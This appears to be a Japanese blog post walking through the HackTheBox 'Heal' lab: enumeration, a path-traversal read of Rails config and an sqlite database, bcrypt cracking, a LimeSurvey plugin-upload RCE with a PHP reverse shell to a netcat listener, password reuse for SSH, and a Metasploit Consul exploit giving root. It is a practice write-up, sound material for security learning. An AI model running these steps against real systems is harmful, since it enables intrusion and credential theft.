0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【HackTheBox】Heal:Writeup

Posted at

概要

HackTheBox「Heal」のWriteupです。

User Flag

ポートスキャンを実行します。

$ nmap -Pn -sVC -T4 -A -p- 10.10.11.46 -oN nmap_result
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 68:af:80:86:6e:61:7e:bf:0b:ea:10:52:d7:7a:94:3d (ECDSA)
|_  256 52:f4:8d:f1:c7:85:b6:6f:c6:5f:b2:db:a6:17:68:ae (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Heal
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

ポートの稼働状況が分かりました。

ポート サービス バージョン
22 ssh OpenSSH 8.9p1
80 http nginx 1.18.0

/etc/hostsにドメインを追記します。

10.10.11.46     heal.htb

FFUFでサブドメイン列挙を行うとapi.heal.htbを発見しました。

$ ffuf -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.heal.htb" -u http://heal.htb -fs 178
api                     [Status: 200, Size: 12515, Words: 469, Lines: 91, Duration: 272ms]

/etc/hostsに追記します。

10.10.11.46     heal.htb api.heal.htb

heal.htbにアクセスするとログイン画面が表示されました。

image.png

ログイン後、/surveyにアクセスするとtake-survey.heal.htbへ遷移していることが分かりました。

image.png

サブドメインを追記します。

10.10.11.46     heal.htb api.heal.htb take-survey.heal.htb

http://take-survey.heal.htbへアクセスするとLimeSurveyを使用していると分かりました。

image.png

http://api.heal.htb/へアクセスするとRails 7.1.4を使用していると分かりました。

image.png

LimeSurveyを深堀します。
管理者画面のパスを調べると、/admin/authentication/sa/loginにあるようです。

image.png

take-survey.heal.htb/admin/authentication/sa/loginにアクセスするとログイン画面が表示されました。

image.png

LimeSurveyの脆弱性を特定するために、バージョン情報を探します。
GitHubのリポジトリからdocs/release_notes.txtに更新履歴の記載を発見しました。

take-survey.heal.htb/docs/release_notes.txtへアクセスすると、6.6.4に変更したところまで記録されているのでLimeSurvey 6.6.4を使用していると推測できます。

docs/release_notes.txt
CHANGE LOG
------------------------------------------------------
Changes from 6.6.3 (build 240909) to 6.6.4 (build 240923) September 23, 2024
+New feature #19722: Unable to use ExpressionScript code when export by remote control (#3948) (Denis Chenu)
-Fixed issue #CR-1447:  Empty strpos() needle while importing answers to responses in debug mode (#3964) (Rami Shenouda)

Limesurvey-6.6.4にはRCEの脆弱性があるようです。

エクスプロイトにはユーザー名とパスワードを要求されています。

exploit.py
url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
port = sys.argv[4]

ユーザー名とパスワードを探しに行きます。

heal.htb/に戻りアプリケーションを探索すると、/resumeEXPORT AS PDFでPDF出力できることが分かりました。

image.png

PDF出力時のリクエストをキャプチャすると、api.heal.htb/download?filename=にOPTIONSメソッドでリクエストを送信していると分かりました。

image.png

試しに、GETメソッドに変更してリクエストを送信すると401が返ってきました。

image.png

他のリクエストからAuthorizationヘッダーを持ってきて、再度リクエストを送信すると200番が返ってきました。

image.png

filename=でファイル名を参照しているので、LFIができるかもしれません。
../../../../../etc/passwdでLFIに成功し、/etc/passwdを読み込めました。

image.png

/etc/passwdからralph,ronアカウントの存在を確認できました。

image.png

image.png

api.heal.htbはRailsで動作しているのでRailsの設定ファイルを探索します。
データベースの設定ファイルパスを調べるとconfig/database.ymlにあるそうです。

../../config/database.ymlでファイルを参照できました。
ファイルの内容を見るとDBにsqlite3を使用していると分かりました。
また、DBデータファイルはstorage/development.sqlite3,storage/test.sqlite3にあると分かりました。

image.png

../../storage/development.sqlite3を参照するとDBのデータを閲覧出来ました。

image.png

データをよく見るとralphアカウントのハッシュ値らしき値も見つかります。
カラムなどから$2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnGがアカウントのハッシュ値と推測できます。

image.png

ハッシュ値のフォーマットを調べるとbcrypt sha512でハッシュ化されていると分かりました。

image.png

JohnTheRipperでハッシュ値から平文を特定できました。

$ john -w /usr/share/john/password.lst --format=bcrypt ralph_hash
147258369        (?)

得られた認証情報でLimeserveyのログインに成功しました。

image.png

これでLimesurvey-6.6.4のRCE PoCを動かせます。
PoCは下記リポジトリを使用しました。

必要なライブラリをインストールし、revshell.phpのIPとPortを環境に合わせて変更します。

revshell.php
$ip = '10.10.14.136';  // CHANGE THIS
$port = 1234;       // CHANGE THIS

設定したポートでNetcatをリッスンします。

$ nc -lnvp 1234
listening on [any] 1234 ...

ZIPファイルを作成します。

$ zip -r N4s1rl1.zip config.xml revshell.php
  adding: config.xml (deflated 59%)
  adding: revshell.php (deflated 68%)

PoCを実行します。

$ python exploit.py http://take-survey.heal.htb ralph 147258369 80        
 _   _ _  _  ____  _ ____  _     _ 
| \ | | || |/ ___|/ |  _ \| |   / |                                                   
|  \| | || |\___ \| | |_) | |   | |                                                   
| |\  |__   _|__) | |  _ <| |___| |                                                   
|_| \_|  |_||____/|_|_| \_\_____|_|                                                   
                                                                                      
                                                                                      
[INFO] Retrieving CSRF token for login...
[SUCCESS] CSRF Token Retrieved: WTlDYlg1UERTa0JzT3V0NVhVWUFNNjlNUVNPWDlsTE6Rl5lLBfNjKmQ57inr7WTXGYxGSA6--4LF_I5l5xBwKg==                                                    

[INFO] Sending Login Request...                                                       
[SUCCESS] Login Successful!

[INFO] Uploading Plugin...                                                            
[SUCCESS] Plugin Uploaded Successfully!

[INFO] Installing Plugin...                                                           
[SUCCESS] Plugin Installed Successfully!

[INFO] Activating Plugin...                                                           
[SUCCESS] Plugin Activated Successfully!

[INFO] Triggering Reverse Shell...

www-dataでリバースシェルを張れました。

$ nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.10.14.136] from (UNKNOWN) [10.10.11.46] 56166
Linux heal 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
 21:23:09 up 17:22,  0 users,  load average: 0.11, 0.09, 0.05
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data

TTYを設定します。

$ python3 -c 'import pty; pty.spawn("/bin/bash")'

ralphアカウントの他にronアカウントを発見しました。

www-data@heal:~/limesurvey$ ls -la /home
ls -la /home
total 16
drwxr-xr-x  4 root  root  4096 Dec  9 12:53 .
drwxr-xr-x 19 root  root  4096 Dec  8 13:57 ..
drwxr-x--- 13 ralph ralph 4096 Dec  9 12:57 ralph
drwxr-x---  5 ron   ron   4096 Apr 16 18:32 ron

Limesurveyのリポジトリからapplication/config/config.phpが設定ファイルだと分かっているので、ここに認証情報があると予測できます。

確認するとDBのパスワードにAdmiDi0_pA$$w0rdを使用していると分かりました。

/var/www/limesurvey/application/config/config.php

(省略)

return array(
        'components' => array(
                'db' => array(
                        'connectionString' => 'pgsql:host=localhost;port=5432;user=db_user;password=AdmiDi0_pA$$w0rd;dbname=survey;',
                        'emulatePrepare' => true,
                        'username' => 'db_user',
                        'password' => 'AdmiDi0_pA$$w0rd',
                        'charset' => 'utf8',
                        'tablePrefix' => 'lime_',
                ),

このパスワードでronのSSH接続に成功しました。

$ ssh ron@heal.htb
ron@heal:~$

/home/ron/user.txtからユーザーフラグを入手できました。

$ cat user.txt 
d701679bbe41d04ff341b8c91062632f

Root Flag

linpeasを実行し、ローカルで動作しているポートを列挙できました。

╔══════════╣ Active Ports
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#open-ports                                                                                
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:5432          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3001          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8300          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8301          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8302          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8500          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8503          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8600          0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -

Nginxの設定から3000,3001などはapi.hea.htb,heal.htbで使用されていると分かりました。

SSHのポートフォワーディングを試していくと、8500Consul v1.19.2が動作していると分かりました。

$ ssh -L 8500:127.0.0.1:8500 ron@heal.htb

image.png

HashiCorp Consul pentestなどで調べるとRCEの脆弱性があり、Metasploitのモジュールがあると分かりました。

exploit/multi/misc/consul_service_execを使用します。

msf6 > use exploit/multi/misc/consul_service_exec

エクスプロイトを実行するとroot権限を取得できました。

msf6 exploit(multi/misc/consul_service_exec) > exploit
[*] Started reverse TCP handler on 10.10.14.136:4444 
[*] Creating service 'pVeCnTGdD'
[*] Service 'pVeCnTGdD' successfully created.
[*] Waiting for service 'pVeCnTGdD' script to trigger
[*] Sending stage (1017704 bytes) to 10.10.11.46
[*] Meterpreter session 1 opened (10.10.14.136:4444 -> 10.10.11.46:55220) at 2025-04-16 17:47:03 -0400
[*] Removing service 'pVeCnTGdD'
[*] Command Stager progress - 100.00% done (763/763 bytes)

meterpreter > getuid
Server username: root

/root/root.txtからルートフラグを入手できました。

cat /root/root.txt
1c1bc5d8aac706005b20999efce256ce
0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?